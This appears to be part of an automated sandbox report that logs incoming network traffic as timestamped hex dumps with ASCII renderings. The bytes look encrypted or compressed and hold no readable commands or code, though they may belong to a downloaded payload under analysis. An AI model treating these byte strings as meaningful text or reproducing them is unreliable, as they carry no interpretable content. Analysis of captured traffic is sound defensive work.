2023-03-20 10:38:24 UTC	90	IN	Data Raw: fc fe 65 cb 33 20 85 c8 d5 02 66 47 f4 dd 6a 79 0e 30 2d a3 c2 ff 63 ba c4 e3 44 f9 ab 3c c4 0b 23 8d 69 cb 25 6c 63 0e 9d 8c 2c aa 23 50 9e 0e b3 fc cc 61 d7 1e fd c3 4d 7e 71 6d 7a f7 53 7e bd 71 1d f0 43 96 9d c3 4e 4b 92 02 39 55 63 1b f5 3d 41 70 05 d5 e0 db 63 85 cf bc c7 ac 5c 1c e6 e1 c2 9f 78 57 4b 21 92 72 66 dc 49 46 4c d8 71 03 fc 6d ac fb 2b 45 a5 19 d3 24 d7 8f 20 09 78 e5 fb 24 8a 13 3c ad 59 51 5e b5 53 1b 75 42 0e 69 ac 97 bb 07 73 3f 20 cf 3e 82 05 2f 7d 72 b6 32 26 ed 7a 07 e6 41 ab 70 a2 7c 1a 93 50 6e c0 cd 8b 0f 42 ca 6a 12 87 fd ab 39 1e 4a df d0 47 70 15 1b 14 76 96 48 6b 50 9a b7 ba e4 90 29 54 df 62 a8 3f 74 83 92 56 64 36 fb 6b fa 74 3e 65 05 ed a3 d2 89 29 df af 8f cc ab 0a 4c e1 cf c6 b7 b0 97 39 21 21 91 f5 9e b2 37 d5 17 9a Data Ascii: e3 fGjy0-cD<#i%lc,#PaM~qmzS~qCNK9Uc=Apc\xWK!rfIFLqm+E$ x$<YQ^SuBis? >/}r2&zAp\|PnBj9JGpvHkP)Tb?tVd6kt>e)L9!!7
2023-03-20 10:38:24 UTC	91	IN	Data Raw: ef e2 ad 47 f4 49 bf 78 de 76 4a b3 cd 13 a4 16 ae bb 40 6e bd 09 7d dd 17 b8 fd 4a 18 4f 6c ce af f0 9e af be c1 2c 88 a7 c4 18 40 6b 25 3f 2d 78 d9 1b 89 83 de 34 38 41 03 2e 7f 23 f6 58 fc 3b 61 ae 84 e8 4c ff 65 17 71 66 1e 5f 82 d6 af d3 e1 b6 a8 4c 94 ed 6c 87 dc fb e4 4f e5 39 60 15 a8 37 1c f9 1b 1e 7b c2 e8 4f 4b 84 6f 20 36 28 9f d2 e8 c5 ff 10 57 53 91 d5 32 0b 87 63 97 9f 8e e0 98 16 3b 4d ef a2 9b 68 e6 5d 81 2f 1f 4e 0a 0b b2 ad 24 01 2a fa 2e eb db 77 3a 82 74 fe 93 0b e4 c2 2d 56 c2 a6 ce d8 02 26 49 74 18 3a 07 ba 27 75 84 c8 b2 3f 23 aa 51 aa 40 8f bf 92 b1 6b b1 89 a9 2a 2d c5 a7 e4 2a c9 4a 6e 9c 9b 34 1d 16 81 7a f8 d8 d2 d9 51 37 d2 88 38 c1 5e d9 3e d9 8d 9c d5 19 63 73 61 7d 28 ab 47 fa 7f 24 af b7 f5 f8 7e ed 34 19 74 b5 0b 75 b8 Data Ascii: GIxvJ@n}JOl,@k%?-x48A.#X;aLeqf_LlO9`7{OKo 6(WS2c;Mh]/N$.w:t-V&It:'u?#Q@k-*Jn4zQ78^>csa}(G$~4tu
2023-03-20 10:38:24 UTC	92	IN	Data Raw: 18 3b 2d 84 8c 44 be d3 ec 60 e1 05 3a f7 e3 e6 04 4c 52 f2 fd 66 65 08 38 3c 9a a7 e5 0c 96 e1 f8 5a ed b6 0a a1 1f 32 8b 59 e1 1a 68 74 6a ae 9b 2f 86 22 56 83 05 f8 ea d0 15 c1 28 fd c9 50 65 72 77 65 c1 5e 1f 80 6c 0f f6 42 be c1 e2 44 5a e7 33 22 44 7b 41 d3 1f 4a 6f 1b df e4 dd 47 87 d5 aa b5 cb 7a 04 dc c1 c3 bc 6f 55 43 28 88 06 6e db 57 5d 57 a8 4e 1f 88 7f b2 fb 22 4b 85 02 e6 2f a5 ac 3d 68 55 ec fc 33 95 17 3c b5 2d 78 5e d0 7b 36 72 41 1b 6d b3 8b d5 14 59 29 15 fe 32 82 21 2d 58 77 aa 33 2e fa 74 19 ab 63 a3 6b 95 6b 6f bd 47 79 c0 cd 81 39 2b f9 6c 05 9a e4 b8 34 71 4c be 9c 48 61 25 0c 7a 2c 87 52 1f 4c 99 db 90 e2 90 17 4d db 55 b9 39 74 a5 87 4c 7f 36 82 28 da 74 38 78 13 dc bf c8 fb 3f df 84 a5 cf de 22 4e fc eb cb c5 df 8e 08 3b 3b 86 Data Ascii: ;-D`:LRfe8<Z2Yhtj/"V(Perwe^lBDZ3"D{AJoGzoUC(nW]WN"K/=hU3<-x^{6rAmY)2!-Xw3.tckkoGy9+l4qLHa%z,RLMU9tL6(t8x?"N;;
2023-03-20 10:38:24 UTC	93	IN	Data Raw: 81 12 7b f8 95 32 91 21 32 69 c8 3c ac 1d 9d ad d8 ba 0b 11 95 77 f3 18 41 e7 e2 ce be 93 6d cc 6c 61 94 c7 cc b6 17 33 13 ed af 93 1d de 35 42 6f 94 1f ef ff fb b7 f0 0c 95 5c 48 72 f8 a1 b9 03 8c 84 db 7f 87 27 d4 98 7c 1a 38 87 53 e9 44 c0 ae a4 98 34 3c f6 08 2c d2 19 96 19 38 b4 33 39 2c 2c cc 1b c6 2f ab 5f b1 cd 2a bb fc ed 3a 65 b0 a5 f0 80 d2 ea a9 41 08 41 2e d9 bb ad 11 1c 1b fd ab 5a b4 25 60 28 41 1e f7 55 ed 2d 09 7c e9 38 94 2b f8 ba aa 6f 8c 53 2e 9f d4 f2 61 e3 37 7c 9a a7 6f 1e 74 4f c2 2f 32 03 cb 1a 7e 68 18 60 a8 94 87 bd bb a5 64 f4 c3 62 7b 50 5a 82 46 f5 50 b1 29 75 2d 19 ce 5b fd 38 e8 87 38 02 19 a6 02 f7 df 4a 7b 46 9d dd 59 d3 26 11 36 5f 82 ef 71 55 dc c1 fd 07 f7 eb 1d 6b 62 8b fe 9b 12 cb f3 2c d5 0e dc d9 40 58 29 52 bd 84 Data Ascii: {2!2i<wAmla35Bo\Hr'\|8SD4<,839,,/_*:eAA.Z%`(AU-\|8+oS.a7\|otO/2~h`db{PZFP)u-[88J{FY&6_qUkb,@X)R
2023-03-20 10:38:24 UTC	95	IN	Data Raw: fc 11 9d 39 25 de 52 7d 80 86 12 72 ff 51 8d 48 8f aa 46 ae 64 3d 77 db f0 b1 51 28 0b ca dc 90 f7 13 69 52 89 0c 3e 8a cf 0d 6e 19 01 f3 a9 46 8b 40 cd 0d d3 d3 38 6d a7 50 ec cd 4e c1 6b 13 a9 56 5e f9 b5 70 b5 d1 89 0e d9 25 f5 90 0d ae b0 30 cd 40 71 b1 f7 b6 7b c9 cc d4 97 ec 43 c8 e4 81 6f 5b 1f 17 ea 63 6e 69 7a 07 c8 ee 83 5f 32 01 a4 d7 9e f9 1a 9a 9b 79 a5 29 ed 7d e0 cd c7 d2 61 29 96 be c6 a8 10 22 77 7a 87 8d d8 28 0a 51 29 f3 98 79 e3 af c9 00 af 93 93 bc 69 c2 50 16 40 f0 f2 e8 89 38 98 69 40 a6 92 92 1d ee 93 05 fa ca 5b c3 51 04 a4 cc db 32 9b 57 73 26 e4 92 fd 36 da f5 01 34 77 a2 ce 85 0d 61 24 d2 f5 ad 96 9d 66 c4 a1 92 37 28 f9 44 6f 8d b4 55 99 70 7a c8 5a e2 fc a3 98 42 fa 07 e2 c6 a4 c1 a8 16 19 c0 8a 10 b8 32 1f ab a8 89 13 5a 33 Data Ascii: 9%R}rQHFd=wQ(iR>nF@8mPNkV^p%0@q{Co[cniz_2y)}a)"wz(Q)yiP@8i@[Q2Ws&64wa$f7(DoUpzZB2Z3
2023-03-20 10:38:24 UTC	96	IN	Data Raw: 80 18 aa f3 49 c3 bd de 39 c1 ef 90 17 8a 52 4b 08 89 80 f9 64 ac 7d b1 f8 5a 47 c8 51 bb 76 cf ed d6 21 d3 b4 6d f1 68 61 94 c7 e0 a2 aa 35 10 23 6d 97 13 ca 22 75 b7 f7 a0 bd 8f f7 8b c1 64 c1 59 23 03 51 a7 8d d4 ec ff f2 28 1f 64 ab 8b c1 23 01 c2 34 d8 9d 91 eb d5 90 0f 25 77 d3 6c 46 0f a0 1a 3a a3 c2 47 45 08 2b 56 da e6 d1 17 e1 cf 7c d5 fc db 1e 2f 2a ff 73 b4 c5 b8 f9 43 67 2f 47 24 d3 23 fe 4f 1b 9b d0 36 ac 29 5f 15 5e 76 79 99 89 50 72 24 b9 5b 83 0b de d0 24 42 bb 7c d9 98 cb f5 61 e2 27 b8 c9 df 0f a1 26 27 e1 0b 29 f1 cb 1b 6e ba 5b e6 a3 93 aa b4 99 a5 64 f4 fb 5d 00 df 37 98 65 4b 89 e0 47 dc 02 36 a1 1e 50 19 c6 e5 71 78 4b e4 bd 9d aa 3e 45 2c 9d dd 59 d3 21 d8 51 3e f3 e7 7a 52 f1 e7 c0 15 4a 77 6e ab 74 a9 e1 8b c0 a4 4d 1e e0 5f a2 Data Ascii: I9RKd}ZGQv!mha5#m"udY#Q(d#4%wlF:GE+V\|/*sCg/G$#O6)_^vyPr$[$B\|a'&')n[d]7eKG6PqxK>E,Y!Q>zRJwntM_
2023-03-20 10:38:24 UTC	97	IN	Data Raw: f5 2c cc 13 9a 04 b3 c8 22 72 01 2b a5 21 c2 ff c2 56 47 2b 11 36 b9 fc 15 dd 16 13 26 1c 76 fc b9 69 0b b6 27 ac f9 ac 56 7b 9c ed 67 1e 49 b1 59 68 80 72 88 c1 40 36 44 e8 e2 b2 d7 3a 64 a3 65 ea c6 76 c5 b3 66 21 8a c3 07 77 18 99 e8 93 b7 0e 96 f3 83 b9 cf c3 66 a0 6a ef 7a 92 79 45 d0 9a b1 d6 d6 90 bd 90 cd ce 77 0d Data Ascii: ,"r+!VG+6&vi'V{gIYhr@6D:devf!wfjzyEw
2023-03-20 10:38:24 UTC	97	IN	Data Raw: 6b a4 23 04 d3 5a 13 a2 9f 3c 3d 6f 4d e5 87 9c 90 48 06 cc 11 86 c8 aa 4e f9 ce 5a 9f 0b 2d 41 cf 79 d0 79 e9 18 0c ef a3 ec 16 40 e8 e7 b9 ff 23 92 83 cf 0c 9d 95 a4 9e bc b5 c1 3b 77 a7 b0 b2 f5 17 8f 57 9c f8 08 d6 48 ab db 21 7f b0 41 da 77 04 04 ab ec 97 f9 af 4e 06 59 a1 fb 8b fa cb 5c 0a 25 f2 cc d7 60 43 f8 bd 7a a2 bc 9d 52 c1 a1 90 07 08 44 48 4c 48 fd 0c 00 0b c0 20 12 42 98 0b 96 64 c3 23 97 8f 94 b8 34 25 11 41 50 63 4f 23 17 44 fc 9f 7a 20 0f 2d 10 44 57 9d ea 5e 07 5f 40 dd 4a c0 4e 7b 1d 3a cf 53 73 4e c0 b3 1f 8f 9c 62 f5 e4 ec 2a ab 7f cc eb 68 1d be fc c9 6b b4 59 b5 46 c1 65 41 24 3f 13 4d ca d9 a6 fb 70 e1 e5 cc da d4 be 3b a9 ba cd f1 90 71 e2 15 c9 f6 62 36 10 96 4f c8 5a 61 71 4f 71 77 19 e4 13 ad 95 a1 1e 48 de a9 9d f2 a1 b3 80 Data Ascii: k#Z<=oMHNZ-Ayy@#;wWH!AwNY\%`CzRDHLH Bd#4%APcO#Dz -DW^_@JN{:SsNb*hkYFeA$?Mp;qb6OZaqOqwH
2023-03-20 10:38:24 UTC	98	IN	Data Raw: b4 e4 77 64 75 88 6e f4 92 b9 5c b1 cd 2a 7e 95 8b 1d 6d 95 95 1f d0 d0 89 e2 11 0a 30 a8 54 d7 e6 a3 1f 19 ea 9f 4d e6 4d 41 fa 2e 4a 5f 84 af 50 7e 11 b9 3a 29 0e f3 e3 49 b7 e4 18 05 98 cb f5 8e bf 33 3b d7 f9 02 85 11 25 d6 0b 29 f1 24 4a 7c 07 55 f7 a3 93 aa b9 93 a5 64 f4 14 34 3f 01 ee 85 76 f2 75 80 05 63 5b b1 c9 42 34 54 b5 eb 63 67 6e f6 00 4a e6 44 04 f9 cf ae 70 d3 26 37 2b 0d 3d 8e 3f 02 f3 7c cc 03 80 16 25 46 1c 19 5a e5 ad b4 a4 4e ee 76 b1 bf 10 5a 94 46 85 47 f0 9e bf 08 a3 bb 23 23 41 1a b8 0b 5d 3a c7 a1 90 86 b8 26 99 85 60 d8 e0 c7 f4 bd 65 0c ee 03 f5 c9 26 b9 e0 3c f5 97 f3 09 f5 a6 b3 4f 43 36 0b ff ec de 0c a2 10 dd 76 4e b6 e0 9a 54 1d ff 30 81 ba 99 b7 a7 e5 dc c6 04 4f 46 c8 e5 5b ad 7e 6b 00 c5 01 bd 2f e4 c4 fc 2c 25 b2 da Data Ascii: wdun\*~m0TMMA.J_P~:)I3;%)$J\|Ud4?vuc[B4TcgnJDp&7+=?\|%FZNvZFG##A]:&`e&<OC6vNT0OF[~k/,%
2023-03-20 10:38:24 UTC	100	IN	Data Raw: fb 6d 55 1f 3b b0 e8 af 54 f7 e9 d3 f0 ac 53 70 ea 80 de cf 62 38 47 44 9a 06 6f ae 50 29 74 d8 50 66 e3 3d 9a 94 04 20 be 6d db 56 d3 e0 39 09 74 a0 c0 51 a4 76 36 cc 78 3e 47 b5 4b 7a 5c 23 1b 0c c1 fb 81 73 4e 5d 3f aa 38 f6 40 5a 28 1f de 40 4d 99 18 75 ec 06 9e 04 a4 12 4f fe 7b 1c c0 b9 89 7d 27 8b 33 66 ee a8 c7 4d 7b 38 9b fe 45 04 0e 69 71 58 d5 2b 7e 3f 86 b7 9d 96 d5 48 74 ba 4f cd 31 06 9f e2 18 0b 64 fb 28 93 1c 5f 1b 60 eb cd dd fb 39 af be e0 d0 ab 37 22 b5 9f fb c5 e0 fe 6d 72 75 e3 f5 dc cd 56 af 7f f3 8c e2 80 a0 9d 97 a1 11 0e ad 15 a1 b1 36 e4 00 ac 01 ea 2e 2d 99 c8 72 2f 49 6b 5f ea 5a e2 3f b0 9e f1 ce f8 a9 71 ad 7f 1e 9f 27 58 64 71 3d 58 ec 07 34 47 70 90 3c 0b 9d 4d 77 f1 8e 8d 24 f4 a1 84 b6 57 48 aa ff cc 11 13 2e 0e 46 fa 95 Data Ascii: mU;TSpb8GDoP)tPf= mV9tQv6x>GKz\#sN]?8@Z(@MuO{}'3fM{8EiqX+~?HtO1d(_`97"mruV6.-r/Ik_Z?q'Xdq=X4Gp<Mw$WH.F
2023-03-20 10:38:24 UTC	101	IN	Data Raw: d3 ad 93 cc 75 f6 f7 09 91 a8 8b a5 4f 81 4b 3c 32 f8 28 72 e4 7e 19 34 c8 82 4f 28 94 6f 5e 57 74 fe b5 9c e9 9a 28 23 42 f0 ff 57 0a e5 44 f2 bb fa b2 db 79 5a 6f 8e a0 fe 71 87 40 e4 0e 7d 1d 6f 5d c6 ad 66 35 48 f8 5c fd b8 76 75 90 1e ff f0 4c e4 a4 4c 24 a8 81 ba fb 60 2d 2c 74 6c 51 4a bf 49 14 f2 ef df 36 4d bf 1e ab 2a 81 dc 8f b1 7b d4 98 f6 79 49 e4 cd e7 49 d4 4a 5a f2 8f 46 1f 62 8d 19 e2 d8 94 a1 7e 52 f3 ed 25 c1 73 b8 3f bc ae f9 c8 19 44 0a 12 04 0e c6 0f b4 73 50 c1 e7 f1 9c 58 84 53 60 43 b5 0a 10 a5 9c 92 1a 32 b4 94 e4 63 4e 1d 3b 72 86 35 3a b1 d8 ba 28 3c 00 98 a6 09 ae 1a 67 d8 b9 63 83 29 75 1f 83 0f 34 60 fc 8e d9 d2 42 ec 04 da 6e e8 3e b3 fe 1e 4e 1b eb c5 ff a9 0b 01 c7 2e 18 45 72 4c bb 93 46 7e 6c d7 25 8b 84 8c 78 cf 02 84 Data Ascii: uOK<2(r~4O(o^Wt(#BWDyZoq@}o]f5H\vuLL$`-,tlQJI6M*{yIIJZFb~R%s?DsPXS`C2cN;r5:(<gc)u4`Bn>N.ErLF~l%x
2023-03-20 10:38:24 UTC	102	IN	Data Raw: 39 9f 12 4b 53 02 0e 90 03 33 6f 6f dd 83 af 29 a4 bd b0 b5 de 1f 03 83 e3 b0 ae 0a 56 21 44 fc 55 23 cb 3b 5b 3e ae 22 5f 88 08 de 94 46 73 c6 00 96 35 a5 e0 47 5a 31 ed 95 12 e7 25 4e 89 2d 6c 2c e3 1e 33 1b 60 69 49 c1 f2 de 20 3c 33 4a c5 5d 84 40 35 08 1f de 13 47 e9 15 1d e6 6f ce 6a e7 6a 6f fe 3a 4f a1 ce e4 18 42 ee 09 16 ee b2 ca 78 71 38 c8 ad 24 5d 7a 24 14 08 f5 79 1f 70 e8 ef f9 cf f5 1b 20 ec 26 8e 5c 06 f7 b6 22 69 44 88 28 eb 11 3e 11 0e a8 cd b6 af 50 cc db 81 be ab 4c 76 95 fb b2 b6 b0 cc 57 5f 55 da f5 e1 c0 57 aa 2b f3 f5 a1 f3 cf af e2 8c 7f 40 d9 61 d3 b0 5e b0 20 c9 4f 98 4f 40 f4 a1 17 61 73 2e 7f be 5a f9 77 e6 f1 94 bb 8c c7 48 d9 4a 6c 9f 51 0e 27 14 52 2c 88 73 51 35 4a f1 1c 72 9d 56 2a a7 eb fe 43 97 c8 e5 d9 39 26 9e df fc Data Ascii: 9KS3oo)V!DU#;[>"_Fs5GZ1%N-l,3`iI <3J]@5Gojjo:OBxq8$]z$yp &\"iD(>PLvW_UW+@a^ OO@as.ZwHJlQ'R,sQ5JrV*C9&
2023-03-20 10:38:24 UTC	103	IN	Data Raw: 67 04 05 2d 8d b5 bd d3 c9 d2 ab 03 f6 8a 65 e4 c1 fb c6 2b ec 4b 48 73 8a 5e 72 9c 0d 7a 57 a0 ea 2a 4d f0 0b 6d 57 4b 8e b5 ff a8 ff 7e 56 11 80 a6 33 44 e5 06 bf fc 89 e0 96 79 25 2e cb d6 90 06 e0 29 e4 6f 30 24 3c 68 87 ad 24 74 0b 8e 29 8a d1 03 75 fb 5f 9b 86 7f 8d 96 3e 24 c4 c3 94 97 33 4c 55 17 1f 3a 3e db 3b 14 82 ad a6 5a 4d db 46 c8 18 ea dc a1 9e 18 97 fd d6 79 3b a7 a5 81 26 bd 23 3b 91 eb 23 72 42 e4 36 8c 9b 94 90 3d 0b 95 cd 4c ee 12 f6 4a 9c ca d6 a1 5d 30 2a 12 50 4d e6 69 9b 1a 04 af c7 94 af 2c a4 53 57 00 95 6c 54 cc f9 fc 76 57 94 e0 c6 50 4e 2c 19 72 8b 79 59 dd b5 db 4c 4b 2e a1 c3 3c d6 1a 13 9b b9 54 f0 48 1a 68 e5 36 40 55 8b ed b8 b4 30 ec 6e 99 32 84 53 d6 97 7f 2d 75 99 a0 90 db 78 01 b9 6d 7e 29 06 29 e7 f2 31 10 05 b2 4b Data Ascii: g-e+KHs^rzWMmWK~V3Dy%.)o0$<h$t)u_>$3LU:>;ZMFy;&#;#rB6=LJ]0PMi,SWlTvWPN,ryYLK.<THh6@U0n2S-uxm~))1K
2023-03-20 10:38:24 UTC	105	IN	Data Raw: 7c 9b 64 d3 83 b1 48 39 e2 41 29 30 6d 6f f1 6d 41 1f 0b b0 a3 af 5a f7 9d d3 b5 b9 3f 70 ff 80 90 cf 59 38 4f 44 90 06 48 ae 5e 29 33 d8 28 66 88 30 d3 94 4b 20 cb 6d 9c 56 a8 e0 58 09 31 cd 98 51 ed 76 43 cc 27 3e 01 b5 33 7a 36 23 44 0c ec f2 f8 73 11 5d 67 aa 70 f6 6d 41 25 1f fe 40 6a 99 38 75 cb 06 e3 04 ca 12 42 fe 18 1c 8c b9 c9 7d 6f 8b 24 66 c3 8b e7 4d 5c 38 f2 fe 09 04 57 69 39 58 d8 2b 32 3f c5 b7 d4 96 d8 48 0d ba 0b cd 71 06 d7 e2 0f 0b 69 fb 05 88 3c 5f 3c 60 85 cd 9c fb 7d af f6 e0 93 ab 6e 22 94 9c 9c c5 b0 f9 6b 72 7b e3 cb d9 c0 5f cd 7f 87 91 d5 80 bf 9d e2 ac 43 0e b1 15 a7 b1 3b e4 50 ac 71 ea 4f 22 d1 c8 51 2f 27 6b 2f ea 1e f9 2a b0 d5 f1 bb f5 84 71 ab 7f 09 9f 3f 58 53 71 37 58 88 28 71 47 67 90 3c 0b de 56 49 f1 82 8d 33 f4 aa Data Ascii: \|dH9A)0momAZ?pY8ODH^)3(f0K mVX1QvC'>3z6#Ds]gpmA%@j8uB}o$fM\8Wi9X+2?Hqi<_<`}n"kr{_C;PqO"Q/'k/*q?XSq7X(qGg<VI3
2023-03-20 10:38:24 UTC	106	IN	Data Raw: cc f6 8f 2d 8a 62 3f 04 34 6a 50 e3 b5 d0 83 a0 85 cc 23 f6 fb 09 c4 a8 fb dc 26 81 41 2f 7e f8 54 72 9a 7e 70 34 ad 82 20 28 fd 6f 67 57 6b fe 98 8d 85 9a 53 23 3c f0 8b 57 69 e5 24 f2 d1 fa cd db 54 55 03 8e fb fe 2b 87 04 e4 4d 7d 09 6f 45 c6 80 77 59 48 a3 5c a7 b8 2e 75 cd 1e b6 f0 52 e4 bb 4c 09 a5 ee ba ba 60 61 2c 3a 6c 17 4a f6 49 39 e3 80 df 77 4d f3 1e e5 2a c7 dc cb b1 35 d4 d0 f6 54 58 8a cd ac 49 90 4a 16 f2 c6 46 5f 62 e5 3c ac d8 b9 b0 1d 52 c5 ed 2d c1 61 b8 39 bc bd f9 ce 19 42 0a 76 09 3e c6 49 b4 53 50 eb e7 b4 9c 01 84 73 71 01 a6 3c 10 ad 9c 8f 1a 24 b4 97 e4 3f 4e 5d 3b 16 8b 05 3a dd d1 8e 28 38 00 c4 a6 4e ae 1a 45 bb b9 73 83 68 75 3b 83 58 34 34 fc 86 d9 d1 42 cc 0b cd 6e f6 3e b7 fe 1c 4e 1e eb c5 ff a9 0b 0c d6 67 18 24 72 23 Data Ascii: -b?4jP#&A/~Tr~p4 (ogWkS#<Wi$TU+M}oEwYH\.uRL`a,:lJI9wM*5TXIJF_b<R-a9Bv>ISPsq<$?N];:(8NEshu;X44Bn>Ng$r#
2023-03-20 10:38:24 UTC	107	IN	Data Raw: 7d 0e 84 27 7c d3 7a 7c e6 27 b6 ef 8b 21 42 92 71 4b 4d 02 6f f9 2f 33 5c 6f c2 83 d6 26 87 bd a7 b5 82 1f 32 83 c3 b0 bd 0a 41 21 34 f1 72 23 e7 3b 44 3e a8 22 09 88 4f de e0 41 6b c6 08 96 2f a5 c8 52 20 31 80 95 37 e7 17 4e a5 2d 52 2c d0 1e 1e 1b 03 69 7b c1 9b d5 07 3c 35 4a 8a 5d 85 40 35 08 7e d3 34 47 ec 15 06 e6 26 ce 67 e7 7d 6f 9a 35 79 a1 83 e4 06 42 bb 09 1b ee 8b 4a ce 33 38 9c fe 56 04 03 69 64 58 81 2b 31 3f aa b7 ba 96 87 48 59 ba 56 cd 28 06 bd e2 47 0b 30 fb 78 88 63 5f 7e 60 d8 cd d4 fb 22 af af e0 c7 ab 6b 22 bc 9f 92 c5 98 fe 30 72 30 e3 81 d9 e0 56 d6 7f 9a 91 db 80 aa 9d cb a1 5f 0e bf 15 b2 b1 26 e4 4c ac 2a ea 2b 2d d4 c8 60 2f 1a 6b 0b ea 32 f9 5c b0 82 f1 cf f8 a6 71 ad 7f 19 9f 2d 58 07 71 31 58 e7 07 35 47 2f 90 26 0b e6 56 Data Ascii: }'\|z\|'!BqKMo/3\o&2A!4r#;D>"OAk/R 17N-R,i{<5J]@5~4G&g}o5yBJ38VidX+1?HYV(G0xc_~`"k"0r0V_&L*+-`/k2\q-Xq1X5G/&V
2023-03-20 10:38:24 UTC	108	IN	Data Raw: 76 4d fc 39 e4 3b 42 c1 85 85 71 8b 5c 44 37 04 5d 2d d6 b5 98 d3 e6 d2 8a 03 c6 87 3d e4 99 fb 96 2b b0 4b 1e 73 c9 5e 16 97 4d 7a 76 a0 ba 2a 10 f0 2e 6d 67 46 ce b5 bc a8 aa 7e 17 11 b2 a6 65 44 a4 09 c4 fc cc e0 ec 79 63 2e 8e 56 4f 55 87 46 e4 06 7d 50 6f 1f c6 cc 77 06 48 eb 5c d6 b8 4e 75 89 1e f8 f0 0d e4 f9 4c 57 a5 ac ba f1 60 38 2c 4b 6c 75 4a bd 49 72 e3 c4 df 39 4d bb 1e 94 2a db dc d0 b1 36 d4 cd f6 25 58 e8 cd f4 49 c9 4a 57 f2 84 46 1d 62 8f 19 d0 d8 c4 b0 4f 52 fa ed 2a c1 7b b8 26 bc af f9 d2 19 6c 0a 5d 09 38 c6 1d b4 76 50 c0 e7 fb 9c 47 84 0f 71 39 b5 5f 10 fb 9c c9 1a 14 b4 a6 e4 16 4e 1f 3b 46 8b 47 3a ee d8 ea 28 7a 00 90 a6 58 ae 29 76 d9 b9 37 83 70 75 29 83 06 34 65 fc dc d9 84 42 d8 0b db 6e b6 3e 97 fe 49 4e 43 eb 97 ff ed 0b Data Ascii: vM9;Bq\D7]-=+Ks^Mzv.mgF~eDyc.VOUF}PowH\NuLW`8,KluJIr9M6%XIJWFbOR*{&l]8vPGq9_N;FG:(zX)v7pu)4eBn>INC
2023-03-20 10:38:24 UTC	109	IN	Data Raw: 88 6c 98 e3 24 6d 14 7a 0e c5 27 43 d3 51 7c e7 27 b5 ef d0 21 4c 92 2d 4b 44 02 33 90 21 33 70 6f d7 83 c6 26 99 bd f3 b5 e8 1f 11 83 f4 b0 ae 0a 38 5c 49 f1 0c 23 83 3b 04 3e f5 22 4b 88 10 de b9 41 0d c6 40 96 76 a5 b3 52 67 31 c1 95 3a e7 13 4e ec 2d 6a 2c c7 1e 1b 1b 40 69 67 c1 97 d5 01 3c 7d 4a 87 5d db 40 6c 08 32 d3 6d 47 b4 15 58 e6 2b ce 09 e7 18 6f b8 35 73 a1 cc e4 13 42 ef 09 46 ee cd ca 3f 71 57 df 93 24 3e 7a 49 14 0b f5 5b 1f 4a e8 c3 f9 f8 f5 21 20 d1 26 c0 5c 0c fa aa 22 64 44 88 28 fc 11 65 11 40 a8 cc ca f6 50 a5 db cd be 86 43 0f 95 b2 b2 e8 b0 d3 57 5f 55 ce f5 f9 c0 05 a5 11 f3 f0 a1 eb cf f8 e2 81 7f 5a d9 67 d3 d0 4f 87 20 c7 4f 8f 4f 5f f4 e8 17 02 73 46 7f c7 5a d4 7c 9d f1 dc bb d5 c7 5c d9 72 6c 95 5e 1e 27 1e 52 2d 88 69 51 Data Ascii: l$mz'CQ\|'!L-KD3!3po&8\I#;>"KA@vRg1:N-j,@ig<}J]@l2mGX+o5sBF?qW$>zI[J! &\"dD(e@PCW_UZgO OO_sFZ\|\rl^'R-iQ
2023-03-20 10:38:24 UTC	111	IN	Data Raw: c1 a8 7c 79 18 03 40 10 60 95 14 88 1b 27 92 f6 eb 2d ea 65 2f 04 61 6a 0d e3 e1 db a1 a0 b3 cc 60 f6 ec 09 81 a8 89 a5 0b 81 66 2f 5e f8 73 72 ba 7e 57 34 8d 82 07 28 dd 6f 60 57 4c fe f3 8d c7 9a 0b 23 7f f0 c2 57 64 e5 4f f2 8e fa 8f db 14 55 14 8e f6 fe 31 87 7a e4 14 7d 45 6f 1a c6 a0 77 7e 48 c6 5c e5 b8 70 75 94 1e a1 f0 5f e4 97 43 65 a5 93 ba c7 60 08 2c 56 6c 6e 4a 9a 49 14 63 22 83 5a 0b de 7b c8 44 ea ae e6 d8 18 a6 fd d6 79 11 a7 a3 81 2a bd 16 3b a1 eb 2a 72 07 e4 70 8c a8 94 de 3d 3b 95 9f 4c f4 12 e4 4a cf ca 9c a1 6d 30 7e 12 60 4d a8 69 d3 1a 0c af 8a 94 f3 2c e0 53 04 00 d9 6c 75 cc ef fc 46 57 f7 e0 8c 50 3c 2f 54 72 e6 76 53 dd ad db 45 4b 56 a1 cf 3c cb 1a 01 9b dc 0f f1 48 29 68 c7 36 51 55 9a ed b8 b4 37 ec 67 99 1a 84 62 d6 b2 7f Data Ascii: \|y@`'-e/aj`f/^sr~W4(o`WL#WdOU1z}Eow~H\pu_Ce`,VlnJIc"Z{Dy;rp=;LJm0~`Mi,SluFWP</TrvSEKV<H)h6QU7gb
2023-03-20 10:38:24 UTC	112	IN	Data Raw: 22 84 7c dd 8f cd 15 a8 4c de a7 56 0c 7b 0e 63 a4 1d 1f f3 15 3f 82 48 d3 80 b1 56 39 fd 41 25 30 0f 6f 9a 6d 7b 1f 00 b0 f0 af 52 f7 87 d3 95 ac 1e 29 df 80 f3 cf 65 38 42 44 b2 06 4c ae 58 29 62 d8 60 66 fa 3d b1 94 36 20 b5 6d f3 56 d7 e0 0e 09 64 a0 e6 51 82 76 3c cc 0d 3e 68 b5 7f 7a 6f 23 08 0c 9d f2 91 73 59 5d 2c aa 3c f6 35 41 64 1f a7 40 1b 99 59 75 89 06 a9 04 8e 12 01 fe 15 1c e5 b9 85 7d 36 8b 68 66 ee f0 c7 4d 7b 38 f2 fe 09 04 57 69 39 58 d8 2b 32 3f c5 b7 d4 96 d5 48 73 ba 48 cd 3d 06 91 e2 47 0b 64 fb 7c 88 63 5f 70 60 cb cd da fb 35 af a9 e0 9e ab 6e 22 b8 9f 9f c5 9d fe 7a 72 78 e3 d8 d9 ed 56 a8 7f f9 91 e7 80 a0 9d 97 a1 11 0e bd 15 f3 b1 09 e4 52 ac 20 ea 22 2d ce c8 37 2f 30 6b 10 ea 39 f9 3f b0 9e f1 d8 f8 ca 71 d3 7f 24 9f 31 58 Data Ascii: "\|LV{c?HV9A%0om{R)e8BDLX)b`f=6 mVdQv<>hzo#sY],<5Ad@Yu}6hfM{8Wi9X+2?HsH=Gd\|c_p`5n"zrxVR "-7/0k9?q$1X
